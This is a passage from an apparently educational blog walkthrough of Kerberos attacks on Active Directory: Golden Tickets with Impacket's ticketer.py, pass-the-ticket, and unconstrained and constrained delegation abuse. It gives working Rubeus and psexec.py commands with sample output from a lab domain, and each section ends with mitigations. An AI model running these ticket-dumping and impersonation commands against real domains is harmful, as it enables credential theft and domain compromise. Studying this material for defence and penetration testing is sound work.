|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

PS C:\Users\m0chan> .\Rubeus.exe klist
```

Inject `.kirbi` from Base64 Blog

```
PS C:\Users\m0chan> .\Rubeus.exe ptt /ticket:BASE64BLOBHERE

(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

PS C:\Users\m0chan> .\Rubeus.exe klist
```

From Linux

I am going to try my best here to show how you can use Golden Tickets/Inject them etc from Linux but truthfully this is a learning experience for me as I 99% of the time carry this out on Windows bases platforms and/or **Domain-Joined Machines**

Disclaimer: This is almost a identical copy/paste from Silver Ticket Section besides Syntax

ticketer.py

Here we find ourselves again on a Linux machine wanting to do Windows things so where do we look? You have one guess. Yep you're right. **Impacket** has a script called `ticketer.py`

I truthfully just learnt about this script after doing some Googling so I am not expert on it's internals but after a brief overview it appears as if `ticketer.py` allows you to generate `Golden Tickets`

The Syntax for Ticketer is as follows

```
m0chan@kali:/scripts/> python ticketer.py -nthash d7e2b80507ea074ad59f152a1ba20458 -domain-sid S-1-5-21-1473643419-774954089-2222323452 -domain m0chanAD.local -id 500 FakeAdm

#This will export a .ccache file which can be imported by executing the below command

KRB5CCNAME=/scripts/m0chan.ccache

We can then pass the -K switch through with any other Impacket scripts and it will automatically use the cached kerberos ticket, such as PSEXec, WMIExec (i think).
```

Mitigation / Defending Golden Tickets

Golden Tickets are really hard to monitor for as effectively they are just legitamate`TGT` tickets that are signed/encrypted by the official `KRBTGT` account. However by default Mimikatz will generate a golden ticket with a life-span of 10 years but can easily be detected.

Pass-The-Ticket / Ticket Dump

Introduction

You may have already noticed me chatting about `Pass-The-Ticket` above or `PTT` but I figured it required it's own section as it can be extremely useful for not only importing Silver/Golden tickets into a current session but also dumping current Kerberos tickets

Similar to the famous `Pass-The-Hash` exploit where can pass a users `NTLM` without even cracking it and authenticate as them we can pass stored kerberos tickets to access other network resources.

We can dump 2 types of tickets `TGT` or `TGS` tickets. If you dump `TGT` (depends on level of access) we can then request access to any service within the context of this user or if we dump a `TGS` ticket then we can `PTT` to the respective service.

From Windows

On Windows Operating Systems there is a very important process entitled `Local Security Authority Subsystem Service` aka `LSASS`. Everyone who's interested in InfoSec has heard of it as it is usually a treasure cove of credentials once you have pwned a box and ran good old mimikatz.

Well Kerberos tickets are also stored in `LSASS` so to dump them you also need to elevate to local admin, you could run it as normal user but you will only dump the tickets for your current context hence if you want to dump other users credentials I advise you elevate.

Dumping Ticket with Rubeus & PTT

> Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#/.NET meaning it is a lot harder for defenders to detect it it's reflectively loaded using something like Cobalt's `execute-assembly` or `SILENTTRINITY` You can also reflectively load it from PowerShell but I will be covering `.NET` in greater detail in a future article.
>
> https://github.com/GhostPack/Rubeus

Triage All Current Tickets (If Elevated List all Users)

```
PS C:\Users\m0chan> .\Rubeus.exe triage
```

List all Current Tickets in Details (If Elevated List all Users)

```
PS C:\Users\m0chan> .\Rubeus.exe klist
```

Dump all Current Ticket Data (If Elevated List all Users)

```
PS C:\Users\m0chan> .\Rubeus.exe dump
```

Realistically when you are dumping tickets if you are limited to `TGS` then you are limited so the true aim here is to get a `TGT` ticket of a user

Inside Rebeus, `TGT` are the `KRBTGT` user ones and `TGS's` are the ones with specific service names beside them, for ex. cifs/http/ldap etc

I want to take this time to talk about what exactly leaves Kerberos tickets (TGS/TGT's) in `LSSAS` on Windows Machines as this had me confused for a while, due to the wide range of logon-types available.

When you authenticate to a Kerberos service with your `TGT` you are granted a `TGS` which is stored in `LSSAS` for future use as per it's expire time etc, your `TGT` won't even end up on the remote host.

However there are ways for your `TGT` to be left on a remote host and that is if you create a interactive logon-session to a remote host your `TGT` will be left present on the remote-host as well as a RemoteInteractive Logon.

This is a great resource on the types of Logon Types:

https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material

Types of Interactive Logon-Sessions

```
Local Login: Physically Logging in at Your Workstation

runas: Perhaps you are a Low Level Helpdesk who uses /runas to spawn a CMD with DA Account, this will result in a TGT for the DA account be cached in LSSAS

runas /netonly: TGT will appear after running a network command (\\IP\SYSVOL) or something

PsExec \\server -u user -p pwd cmd - PSExec leaves a TGT providing explicit credentials were defined
```

Types of Remote-Interactive Logon Sessions

```
Remote Desktop (RDP)
```

Injection / PTT

Now presuming we were in a high-integrity process when we run `Rubeus.exe dump` we will have dumped all `TGTs` and all `TGS` for any users with a session to the target box. Now we can `pass-the-ticket`

PTT Syntax with Base64

```
PS C:\Users\m0chan> .\Rubeus.exe /ticket:base64blob
```

PTT Syntax with Ticket

```
PS C:\Users\m0chan> .\Rubeus.exe /ticket:m0chan.kirbi
```

Now if we `PTT` of a `TGT` into our current session we will therefore be able to access any services that this respective user has access too as we can request `TGS` however if we only passed a `TGS` we will be limited to the respective service.

From Linux

Passing-The-Ticket in Linux is a little but different in the sense that you have to pull the tickets in `.ccache` form and then typically use them alongside a **Impacket** script such as PSExec.

Truthfully I haven't played with PTT on Linux besides a Simple PSExec but I'm sure there is way more to play with.

An example would be.

```
m0chan@kali:/scripts/> export KRB5CCNAME=/root/impacket-examples/krb5cc_08009234234_ZFxIpl

m0chan@kali:/scripts/> python psexec.py m0chanAD.local/user@workstation.m0chanAD.local -k -no-pass
```

Mitigation / Defending against PTT

It goes without saying that defending against PTT is very tricky as you are simply using normal functions of Kerberos in a malicious way - All you are really doing is using Kerberos tickets as they would be used, TGT to request service TGS Ticket, and accessing services with TGS.

However as tickets are stored in **LSASS** I recommend you do not log into end-users stations with privileged accounts i/e do not log into a HR User with your Domain Account with a interactive session…

It is also advised to ensure that Kerberos tickets are set to expire within 10 hours.

Unconstrained Delegation

Unconstrained Delegation (aka) ***TGT Forwarding (TrustedForDelegation)***

Introduction

Oh boy - Now it gets interesting.

Just to provide a little bit of a background back in the older days of Servers & Authentication probably when I was still a kid and Server 2000 first introduced Active Directory, Microsoft had to find a way to allow Servers authenticate to other resources in the context of a user. This was called the **"Kerberos Double-Hop Issue"** - That's where **Unconstrained Delegation** comes into play.

Unconstrained Delegation is a privilege that can be granted to **User Accounts** or **Computer Accounts** in a active directory environment that allows a resources to authenticate to another resource on **BEHALF** of a user. Confusing right?

Let me provide an example -

`m0chan` – Authenticates – `CRM Server` – authenticates on behalf of m0chan – `DB Server` to fetch information.

What is really happening here is you are sending your `TGS` ticket to access the service on `CRM Server` for example `http` but you were **ALSO** sending your `TGT` so that the `CRM Server` is able to further request a `TGS` on behalf of yourself to access the `DB Server` in your context.

From an attackers point of view there is a couple of things to bare in mind

- When a User Authenticates to a Server with Unconstrained Delegation turned on, the Users `TGT` get's cached on the server
  - If you pwn a Server with Unconstrained Delegation Turned on it could be littered with `TGT's` to perform a `PTT` attack
  - The Reason this get's cached is for the obvious reason, so the Server can Impersonate the authenticated user to access resources said User has access to.
    - This allows you to retain your privilege model and to not have over-privileged servers.

So how is **Unconstrained Delegation** configured? Simple. Enable `Trust this computer for Delegation to any Service (Kerberos Only)` within `Active Directory Users and Computers`

Enumeration

Discovering Servers/Computers with **Unconstrained Delegation** enabled is fairly straight forward using the `ActiveDirectory` module and `Get-ADComputer` function.

Quick example

```
PS C:\Users\m0chan> Import-Module ActiveDirectory

PS C:\Users\m0chan> Get-ADComputer -Filter {(TrustedForDelegation - eq $true) -AND (PrimaryGroupID -eq 515)} -Properties TrustedForDelegation,TrustedToAuthForDelegation,servi

#Or Simply
PS C:\Users\m0chan> Get-ADComputer -Filter {(TrustedForDelegation - eq $true)}

#PowerView

PS C:\Users\m0chan> Get-DomainComputer -Unconstrained
```

Exploiting

Now truthfully I do not see the point in writing a **From Windows** & **From Linux** section for **Unconstrained Delegation** as it's fairly simple and basically just a **PTT** attack.

An example to exploiting **Unconstrained Delegation** would be

1. Compromise a Server trusted for **Unconstrained Delegation** via a admin or service account.
2. Dump tickets with `PS C:\Users\m0chan> Rubeus.exe dump`
    1. If a Domain Admin has authenticated through this Server then RIP
    2. Social Engineer a Domain Admin to Authenticate to this Server
3. Perform a `PTT` attack with recovered `TGT`

Mitigation / Defending Unconstrained Delegation

And that's really it… **Unconstrained Delegation** is bad. I highly recommend the following to mitigate this vulnerability.

- Enforce **Constrained Delegation** but of course that has it's weaknesses which I will be covering in the next section.
- Also if a user is part of the **Protected-Users Group** he/she will will not be allowed for delegation
- Configure all Privileged or Sensitive Accounts with `Account is Sensitive and Cannot be Delegated.

Constrained Delegation

Constrained Delegation (aka) ***S4U2Proxy***

Introduction

Here we are at the last section, big GG's if you are still with me through all this, It has taken me nearly 2 days to write this.

Now in the last section we talked about **Unconstrained Delegation** which allows Severs to authenticate to resources on your behalf by taking your `TGT` alongside the `TGS` ticket. Now **Unconstrained Delegation** has no limits in terms of what Kerberos services a Server can authenticate to on your behalf. i/e Once you have handed over your `TGT` if the server is trusted for **Unconstrained Delegation** then it can theoretically request a `TGS` ticket for any other Kerberos Service within the `Realm` which isn't exactly ideal.

This is where **Constrained Delegation** comes into play.

Once Microsoft realized there Mistake with **Unconstrained Delegation** they came up with a couple of Kerberos extensions namely - `S4U2Self` & `S4U2Proxy` - Long story short basically `Constrained Delegation` limits what services a particular machine trusted for Delegation can actually access on behalf of an authenticated user

Just like **Unconstrained Delegation**, you can configure **Constrained Delegation** from `Active Directory Users and Computers` as well as limit authentication to Kerberos and/or other protocol's.

In this case I have enabled **Constrained Delegation** which limits said server to authenticate on behalf of a user to the following `SPN` `CIFS/SERVERNAME-2016RDS.m0chanAD.local`

S4U2Self / S4U2Proxy & Protocol Transition

S4U *= Service-For-User*

S4U2Proxy

The Server-for-User-to-Proxy is an extension that allows a service to use it's Kerberos service ticket for a specific user to obtain a `TGS` ticket from the `KDC` to access a back-end-service on behalf of a user. The **S4U2Proxy** s being used 9/10 times that **Constrained Delegation** is in use.

This extension works in the following order

1. User Sends a TGS to Access **Service 1**
2. Providing **Service 1** is permitted to delegate to another Service, for ex **Service 2**
3. **Service 1** now issues a **S42UProxy Request** for a `TGS` Ticket for *requesting user* to **Service 2** with the *requesting users* `TGS` Ticket

4. **Service 1** sends `TGS Ticket` to **Service 2**
5. **Service 1** connects to **Service 2** authenticating as the *requesting user*.

*Note: The `TGS` Ticket provided in the **S4U2Proxy request** must have the **FORWARDABLE** flag set. This flag is never set for accounts that have `Account is Sensitive and Cannot Be Delegated` set.*

S4U2Self

The `SVU2Self` extension is only required if a user authenticates with something other than `Kerberos` such as `NTLM`, but the delegation to the second service (second hop) will always be completed in Kerberos. This is called **Protocol Transition**

The reason we need **S4U2Self** is because the **S4U2Proxy** extension requires a valid `TGS` ticket to be passed too it from the *requesting user* before it goes onto request a `TGS` for ***Service 2*** - Shenaniganslabs.io calls this "evidence" and I believe that's a really good way to put it. However as previously mentioned sometimes users may authenticate with something other than Kerberos, like `NTLM` therefore they do not pass a `TGS` ticket through. In such cases then **S4U2Self** can ask the service authentication service to product a `TGS` for a **arbitrary user** (any user) which can therefore be passed over to **S4U2Proxy** to request a ticket for another service i/e ***Service 2***

This is why if you pwn a server with constrained delegation enabled (any protocol) you can theoretically impersonate any user in the domain against any respective **SPNs** (More on this below in Exploiting Section)

PS: You can only exploit **Constrained Delegation** if **Protocol Transition** is enabled, 9/10 times in the real world this will be configured.

*Microsoft's Diagram for **S4U2Self** & **S4U2-Proxy***

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a

Enumeration

Discovering Servers/Computers with **Constrained Delegation** enabled is fairly straight forward using the `ActiveDirectory` module and `Get-ADComputer` function.

Quick example

```
PS C:\Users\m0chan> Import-Module ActiveDirectory

PS C:\Users\m0chan> Get-ADComputer -Filter {(msDS-AllowedToDelegateTo -ne "{}")} -Properties TrustedForDelegation,TrustedToAuthForDelegation,ServicePrincipalName,Description,


#PowerView

PS C:\Users\m0chan> Get-DomainComputer -TrustedToAuth -Properties distinguishedname,msds-allowedtodelegateto,useraccountcontrol -Verbose | fl
```

Another Example

```
PS C:\Users\m0chan> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/DC.m0chanAD.local/m0chanAD.local
ldap/PRIMARY
ldap/DC.m0chanAD.local/
ldap/DC/m0chanAD
ldap/DC.m0chanAD.local/DomainDnsZones.m0chanAD.local
ldap/DC.m0chanAD.local/ForestDnsZones.m0chanAD.local
ldap/DC.m0chanAD.local
```

Bloodhound 2.0

I have sadly not tested Bloodhound 2.0 yet but I am aware that is supports **Constrained** & **Unconstrained Delegation** enumeration.

https://blog.cptjesus.com/posts/bloodhound20

Exploiting

Now exploiting **Constrained Delegation** is a little but different to **Unconstrained Delegation** as we can't just simply grab pwn the Server's/Users' trusted for Delegation and snatch the cached `TGT` tickets.

We simply have to find high value targets that are set to delegate for high value resources, a good example would be a server trusted for `cifs Delegation` on a machine, this would allow us to read the files on the target system by snatching the cached `TGS` ticket.

Another great one is if a machine trusts the `DC` & `LDAP` for `Delegation` then we can DC Sync ;)

Also worth noting any users/computers that have delegation enabled - `msDS-AllowedToDelegateTo`, they can pretend to be any user in the domain to authenticate the specified `SPN` that they are allowed to delegate too.

Such as if `user1.m0chanAD.local` was allowed to delegate too `cifs/fileserver.m0chanAD.local` & you owned `user1.m0chanAD.local` then you would be able to authenticate as **any** user within the domain **only** to `cifs/fileserver.m0chanAD.local`

From Windows

So if you've got this far you probably agree **Constrained Delegation** is confusing as fuck! It's probably been the biggest learning experience of this whole document. I figured instead of creating examples and just showcasing how to exploit it I had to spin up my `Active Directory` lab which consists of a `DC` and 2 x `WIN10` Hosts

Exploiting with Rubeus

Now as I mentioned exploiting **Constrained Delegation** is of course not as simple as exploiting **Unconstrained Delegation** due to the obvious limitations however once an attacker has discovered the servers/users configured for **Delegation** he/she would aim to dump all the cached `TGS` Tickets and/or use the `S4U2Self` extension to request a `TGS` ticket for any respective user to access said SPN they are configured to delegate too.

I am going to try formulate all examples I have saw from other articles on exploiting this, there can be quite a lot of different use cases. I am not copying… Well kinda but I think it's relevant that I have it all on this page.

Example 1 - Basic TGS Ticket Snatch

Now of course the first example that comes into mind is a basic one where I won't go step by step but I felt it was relevant to add this section. If we can gain access to a user/computer account configured for **Constrained Delegation** if we run the below command

```
PS C:\Users\m0chan> .\Rubeus.exe dump
```

This will dump any relevant cached `TGS` ticket's stored on the box which we can then perform a `PTT` ticket attack similar to the `Pass-The-Ticket` section above.

Relatively simple :)

Example 2 - Plaintext Password too Service Access

Shoutout to @harmj0y & @gentilkiwi for this example. Really cool imo.

Basically this attack works around the basis that you have compromised a plaintext password of a user account that is trusted for **Constrained Delegation** and/or a RC4 Hash/AES Key. Basically you can use the pass the users password/NTLM hash, request a `TGT` & execute a request for a `TGS` ticket and of course access the respective `SPN` / `Service`

Request a TGT

https://github.com/GhostPack/Rubeus#asktgt

```
PS C:\Users\m0chan> .\Rubeus.exe asktgt /user:m0chan /domain:m0chanAD.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.4

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: DC.m0chanAD.local (172.16.0.254)
[*] Building AS-REQ (w/ preauth) for: 'm0chanAD.local\m0chan'
[*] Connecting to 172.16.0.254:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[*] base64(ticket.kirbi):
```

Issue S4U Request to Delegated SPN with Specified User

```
PS C:\Users\m0chan> .\Rubeus.exe s4u /ticket:C:\Temp\Tickets\aidanldap.kirbi /impersonateuser:aidan /msdsspn:ldap/dc.m0chanAD.local /altservice:cifs /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (172.16.0.254)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\m0chan'
[*]   Impersonating user 'aidan' to target SPN 'ldap/dc.m0chanAD.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
```

```
[*] Connecting to 172.16.0.254:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'ldap/dc.m0chanAD.local'
[*] Sending S4U2proxy request
[*] Connecting to 172.16.0.254:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):

      doIGujCCBragAwIBBaEDAgE...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!
```

Now we don't really have to issue a `s4u` request if we own the account, we could simply request a `TGS` ticket but of course we would be limited to the context of the pwned account. The `S4U` request is simply if we want to abuse the account trusted for **Constrained Delegation** but impersonate any users context to access said service.

Mitigation / Defending Constrained Delegation

- Also if a user is part of the **Protected-Users Group** he/she will will not be allowed for delegation
- Configure all Privileged or Sensitive Accounts with `Account is Sensitive and Cannot be Delegated.
- Use Strong-Strong Passwords for Accounts Trusted for Delegation

Conclusion

I believe in this article I have clearly demonstrated that while Kerberos is a really cool protocol and probably the best internal authentication protocol it has a large attack-surface for adversary's. All IT Professionals should be aware of this attack-surface so they can configure there environments to meet the mitigation standards otherwise if poorly configured it will not take long for a attacker to compromise the network as a whole very very quickly.

This has been a *really really* long article and when I started this I did not imagine we would end up at 10k words but it's been a great learning experience. I want to give a special mention to the below people as without them I would not have been able to learn so much in the past week writing this.

@harmj0y - https://blog.harmj0y.net/

@ADSecurity / Sean Metcalf - https://adsecurity.org/

@CyberArk - https://www.cyberark.com/threat-research-blog/weakness-within-kerberos-delegation/

If anyone has any questions regarding anything covered above feel free to hit me up on Twitter @m0chan98 and I will be more than happy to provide some guidance/information.

And most important thank you for reading!!

~m0chan